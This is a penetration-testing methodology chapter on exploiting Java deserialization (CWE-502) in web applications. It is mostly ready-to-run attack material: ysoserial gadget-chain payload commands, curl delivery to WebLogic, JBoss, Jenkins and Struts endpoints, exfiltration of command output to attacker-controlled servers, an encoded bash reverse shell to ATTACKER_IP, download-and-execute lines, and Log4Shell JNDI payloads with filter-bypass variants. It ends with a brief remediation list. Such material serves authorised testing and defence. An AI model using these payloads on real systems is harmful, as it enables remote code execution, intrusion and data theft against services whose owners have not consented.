Java Deserialization
Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures
What Is Java Deserialization?
Java’s native serialization converts objects to a byte stream (serialize) and back to objects (deserialize). When an application deserializes attacker-controlled data, the attacker can provide a crafted byte stream that, when deserialized, executes arbitrary code — even before the application logic has a chance to inspect the data.
The execution happens through gadget chains: sequences of existing library classes whose methods, when invoked in sequence during deserialization, result in OS command execution. The attacker doesn’t inject new code — they exploit existing code already on the classpath.
Magic Bytes — Detection Signature
Serialized Java objects always begin with:
Hex: AC ED 00 05
Base64: rO0AB
Finding these bytes in a cookie, POST body, WebSocket message, or any data channel = immediate target.
Attack Surface Map
# Serialized objects sent by clients:
- Java serialization in cookies: Cookie: session=rO0ABXNy...
- POST body as serialized Java (Content-Type: application/x-java-serialized-object)
- WebSocket binary frames containing AC ED 00 05
- RMI (Java Remote Method Invocation) — port 1099
- JMX (Java Management Extensions) — port 9010, 8686, 1617
- Custom TCP protocols (application servers)
- XML-wrapped serialized objects (some frameworks base64-encode inside XML)
- JNDI/LDAP references (Log4Shell, JNDI injection)
# Application types commonly vulnerable:
- Java EE applications (JBoss, WebLogic, WebSphere, GlassFish)
- Apache Commons on classpath (most Java apps)
- Spring Framework apps with Spring Security
- Apache Struts
- Jenkins CI/CD
- ElasticSearch (old versions)
# Common entry points:
- HTTP request body (check for base64 starting with rO0AB)
- Java deserialization in cookies (JSESSIONID variants, ViewState)
- JBoss: /invoker/readonly
- WebLogic: /wls-wsat/CoordinatorPortType11 (T3 protocol port 7001)
- Apache Struts: Content-Type: multipart/form-data with malformed boundary
Discovery Checklist
Phase 1 — Identify Deserialization Points
- Check all cookies for base64 values starting with
rO0ABor hexAC ED - Check POST body — binary or base64 content?
- Search HTTP history in Burp for
rO0ABpattern - Check Java application server version — look for known vulnerable versions
- Scan for RMI port 1099, JMX ports 9010/8686/1617
- Check application type: JBoss, WebLogic, WebSphere, Struts, Jenkins?
- Check if classpath includes Commons Collections 3.x/4.x, Spring, Groovy
Phase 2 — Confirm Vulnerability
- Identify gadget chains available (check POM/JAR files, error messages, fingerprint server)
- Generate time-based payload:
ysoserial CommonsCollections1 "sleep 5" - Send serialized payload — does response delay by 5 seconds?
- Generate OOB payload:
ysoserial CommonsCollections1 "nslookup YOUR.oast.fun" - Send — check Collaborator/interactsh for DNS callback
Phase 3 — Exploit
- Confirm RCE:
ysoserial CommonsCollections1 "curl http://YOUR_SERVER/?x=$(id|base64)" - Identify available gadget chains via ysoserial (try multiple)
- Establish reverse shell
- Enumerate environment: JVM classpath, OS, container
Gadget Chains — Reference
ysoserial (Primary Tool)
# Download:
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate payload:
java -jar ysoserial-all.jar GADGET_CHAIN "COMMAND" > payload.bin
# Common gadget chains (try in order for unknown targets):
java -jar ysoserial-all.jar CommonsCollections1 "id"
java -jar ysoserial-all.jar CommonsCollections2 "id"
java -jar ysoserial-all.jar CommonsCollections3 "id"
java -jar ysoserial-all.jar CommonsCollections4 "id"
java -jar ysoserial-all.jar CommonsCollections5 "id"
java -jar ysoserial-all.jar CommonsCollections6 "id"
java -jar ysoserial-all.jar CommonsCollections7 "id"
java -jar ysoserial-all.jar CommonsCollections10 "id"
java -jar ysoserial-all.jar CommonsCollections11 "id"
java -jar ysoserial-all.jar Spring1 "id"
java -jar ysoserial-all.jar Spring2 "id"
java -jar ysoserial-all.jar Groovy1 "id"
java -jar ysoserial-all.jar Clojure "id"
java -jar ysoserial-all.jar BeanShell1 "id"
java -jar ysoserial-all.jar ROME "id"
java -jar ysoserial-all.jar JDK7u21 "id"
# Output as base64 for cookie/header injection:
java -jar ysoserial-all.jar CommonsCollections1 "id" | base64 -w 0
# URL-encoded base64:
java -jar ysoserial-all.jar CommonsCollections1 "id" | base64 -w 0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"
Gadget Chain Selection by Library
Library on classpath → Try these chains first
─────────────────────────────────────────────────────────
Commons Collections 3.1 → CC1, CC3, CC5, CC6, CC7
Commons Collections 3.2.1 → CC5, CC6
Commons Collections 4.0 → CC2, CC4
Commons Collections 4.1 → CC2, CC4
Commons BeanUtils 1.9.x → CommonsBeanutils1
Spring Framework (any) → Spring1, Spring2
Groovy (any) → Groovy1
Clojure → Clojure
ROME (RSS library) → ROME
JDK < 7u21 → JDK7u21
BeanShell → BeanShell1
Hibernate → Hibernate1, Hibernate2
JRE 8u20/7u25 → JRE8u20
MozillaRhino (JS engine) → MozillaRhino1, MozillaRhino2
Payload Construction & Delivery
Time-Based Detection (Blind)
# Linux sleep:
java -jar ysoserial-all.jar CommonsCollections1 "sleep 5" | gzip -1 > payload.bin
# Windows timeout:
java -jar ysoserial-all.jar CommonsCollections1 "cmd /c timeout 5" > payload.bin
# Send in cookie:
curl -s https://target.com/ \
-H "Cookie: session=$(java -jar ysoserial-all.jar CommonsCollections1 'sleep 5' | base64 -w0)"
# Send in POST body:
curl -s https://target.com/endpoint \
-X POST \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin
OOB Detection via DNS
# nslookup:
java -jar ysoserial-all.jar CommonsCollections1 \
"nslookup YOUR.oast.fun" > payload.bin
# curl with data exfil:
java -jar ysoserial-all.jar CommonsCollections1 \
"curl http://YOUR_SERVER/\$(id|base64|tr -d '\n')" > payload.bin
# wget:
java -jar ysoserial-all.jar CommonsCollections1 \
"wget http://YOUR_SERVER/?x=\$(whoami)" > payload.bin
RCE Payload Delivery
# Reverse shell (netcat):
java -jar ysoserial-all.jar CommonsCollections1 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQy5LRVIvNDQ0NCAwPiYx}|{base64,-d}|bash" > payload.bin
# base64: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Download and execute:
java -jar ysoserial-all.jar CommonsCollections1 \
"curl http://YOUR_SERVER/shell.sh -o /tmp/s.sh && bash /tmp/s.sh" > payload.bin
# PowerShell reverse shell (Windows):
java -jar ysoserial-all.jar CommonsCollections1 \
"powershell -enc BASE64_ENCODED_REVERSE_SHELL" > payload.bin
Sending to Specific Application Servers
WebLogic (T3 Protocol — port 7001)
# WebLogic T3 deserialization:
# Tool: weblogic-exploit or ysoserial with T3 transport
# Test connectivity:
curl -s http://target.com:7001/wls-wsat/CoordinatorPortType11
curl -s http://target.com:7001/wls-wsat/RegistrationPortTypeRPC11
# PoC using weblogic_exploit:
python3 weblogic_exploit.py -t target.com -p 7001 \
--gadget CommonsCollections1 \
--command "id"
# IIOP/T3 raw socket:
# ysoserial generates payload, send via custom T3 handshake
# Tool: JavaDeserH2HC, BeEF, YSOMAP
JBoss (HTTP endpoint)
# JBoss 4.x/5.x — /invoker/readonly:
curl -s http://target.com:8080/invoker/readonly \
-X POST \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.bin
# JBoss 6.x — /invoker/JMXInvokerServlet:
curl -s http://target.com:8080/invoker/JMXInvokerServlet \
-X POST \
--data-binary @payload.bin
Jenkins (Remoting Channel)
# Jenkins CLI port (usually 50000 or dynamic):
# Tool: jenkinspwn or manual
# Check Jenkins version + remoting version:
curl -s http://target.com/jenkins/ | grep -i version
# Jenkins < 2.32: CLI deserialization
java -jar jenkins-cli.jar -s http://target.com/jenkins/ \
help "@/dev/stdin" <<< $(java -jar ysoserial-all.jar CommonsCollections1 "id")
Apache Struts (Content-Type deserialization)
# Struts ContentType parsing — send serialized payload in:
# Content-Type header or multipart boundary
POST /struts-app/action HTTP/1.1
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
# See Chapter 79 — Spring/Struts for full OGNL injection payloads
JNDI Injection (Log4Shell Pattern)
JNDI injection is closely related to deserialization — it causes the server to load a remote class via LDAP/RMI, which executes attacker code.
# JNDI payload in any log-processed parameter:
${jndi:ldap://YOUR_SERVER:1389/exploit}
${jndi:rmi://YOUR_SERVER:1099/exploit}
${jndi:dns://YOUR_SERVER/exploit}
# Bypass attempts when ${jndi: is filtered:
${${lower:j}ndi:ldap://YOUR_SERVER/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://YOUR_SERVER/x}
${${upper:j}ndi:ldap://YOUR_SERVER/x}
${j${::-n}di:ldap://YOUR_SERVER/x}
${j${lower:n}di:ldap://YOUR_SERVER/x}
${${env:NaN:-j}ndi:${env:NaN:-l}dap://YOUR_SERVER/x}
${jndi:${lower:l}${lower:d}a${lower:p}://YOUR_SERVER/x}
${j n d i : l d a p : //YOUR_SERVER/x} ← spaces via whitespace variants
# Inject in every possible header/parameter:
X-Api-Version: ${jndi:ldap://YOUR_SERVER:1389/x}
User-Agent: ${jndi:ldap://YOUR_SERVER:1389/x}
X-Forwarded-For: ${jndi:ldap://YOUR_SERVER:1389/x}
Referer: ${jndi:ldap://YOUR_SERVER:1389/x}
Authorization: Bearer ${jndi:ldap://YOUR_SERVER:1389/x}
# Tool: JNDI-Exploit-Kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,BASE64_SHELL}|{base64,-d}|bash" \
-A ATTACKER_IP
Detection & Fingerprinting
# Detect serialized objects in HTTP traffic (Burp):
# Proxy → HTTP History → search: rO0AB
# Burp extension: Java Deserialization Scanner
# Automatically detects and tests gadget chains
# Scan for RMI/JMX ports:
nmap -sV -p 1099,1617,9010,8686,4848 target.com
# Identify JAR libraries (if you have file access):
find /app -name "*.jar" | xargs -I{} unzip -p {} META-INF/MANIFEST.MF 2>/dev/null | grep Implementation-Title
# Error message fingerprinting:
# ClassNotFoundException → reveals class names → reveals classpath
# java.io.IOException: Cannot run program → confirms command execution attempt
# gadgetinspector — static analysis of classpath to find chains:
java -jar gadget-inspector.jar target-app.jar
# serialkillerbypassgadgets — additional chains:
https://github.com/pwntester/SerialKillerBypassGadgetsChain
Tools Arsenal
# ysoserial — core payload generator:
# https://github.com/frohoff/ysoserial
java -jar ysoserial-all.jar CommonsCollections1 "id"
# ysoserial-modified — more gadget chains:
# https://github.com/wh1t3p1g/ysoserial
# SerializationDumper — inspect serialized Java objects:
# https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper.jar rO0ABXNy...
# Burp Java Deserialization Scanner:
# Extensions → BApp Store → Java Deserialization Scanner
# JNDI-Exploit-Kit:
# https://github.com/pimps/JNDI-Exploit-Kit
# marshalsec — JNDI redirect server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://ATTACKER_IP:8888/#Exploit"
# gadgetinspector — find gadget chains in custom code:
# https://github.com/JackOfMostTrades/gadgetinspector
Remediation Reference
- Avoid native Java deserialization of untrusted data entirely — use JSON/XML with explicit schemas instead
- Implement a
ObjectInputFilter(Java 9+) /SerialKiller(Java 8) to whitelist allowed classes during deserialization - Update Commons Collections to patched versions (3.2.2+, 4.1+) — removes the most common gadget chains
- Disable JNDI lookups in Log4j: set
log4j2.formatMsgNoLookups=trueor use Log4j 2.17.1+ - Disable RMI, JMX, T3 if not required — or enforce authentication
- WAF: block requests with Java serialization magic bytes (
\xac\xed\x00\x05) in body/cookies
Part of the Web Application Penetration Testing Methodology series.